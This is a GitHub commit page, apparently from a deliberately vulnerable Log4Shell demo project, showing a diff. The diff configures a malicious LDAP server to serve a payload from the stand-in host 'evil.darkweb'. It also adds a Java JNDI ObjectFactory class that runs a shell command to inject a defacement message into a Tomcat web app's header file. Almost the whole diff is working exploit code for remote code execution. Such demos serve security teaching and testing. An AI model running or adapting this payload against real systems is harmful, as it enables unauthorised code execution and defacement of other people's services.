-
Notifications
You must be signed in to change notification settings - Fork 1.2k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Eric Smalling
committed
Dec 17, 2021
1 parent
9a7d179
commit da12e76
Showing
4 changed files
with
25 additions
and
10 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,13 +1,11 @@ | ||
FROM maven:3-jdk-8-slim as build | ||
COPY . . | ||
RUN mvn clean compile assembly:single | ||
RUN mkdir /app | ||
RUN jar xvf target/*.jar | ||
RUN --mount=target=$HOME/.m2,type=cache mvn clean compile assembly:single | ||
|
||
FROM openjdk:8 as ldap | ||
COPY --from=build target/*.jar /server.jar | ||
EXPOSE 8000 | ||
EXPOSE 9999 | ||
|
||
CMD ["java", "-jar", "/server.jar"] | ||
CMD ["java", "-jar", "/server.jar", "http://evil.darkweb:9999/#Vandalize", "8000", "9999", "Vandalize.class"] | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
16 changes: 16 additions & 0 deletions
16
log4shell-goof/log4shell-server/src/main/java/Vandalize.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,16 @@ | ||
import javax.naming.Context; | ||
import javax.naming.Name; | ||
import javax.naming.spi.ObjectFactory; | ||
import java.util.Hashtable; | ||
|
||
public class Vandalize implements ObjectFactory { | ||
@Override | ||
public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { | ||
String[] cmd = { | ||
"/bin/sh", | ||
"-c", | ||
"echo '<center><h1>Nice container you have, I think I will move in!</h1></center>' >> /usr/local/tomcat/webapps/todolist/WEB-INF/views/common/header.jspf"}; | ||
Runtime.getRuntime().exec(cmd); | ||
return null; | ||
} | ||
} |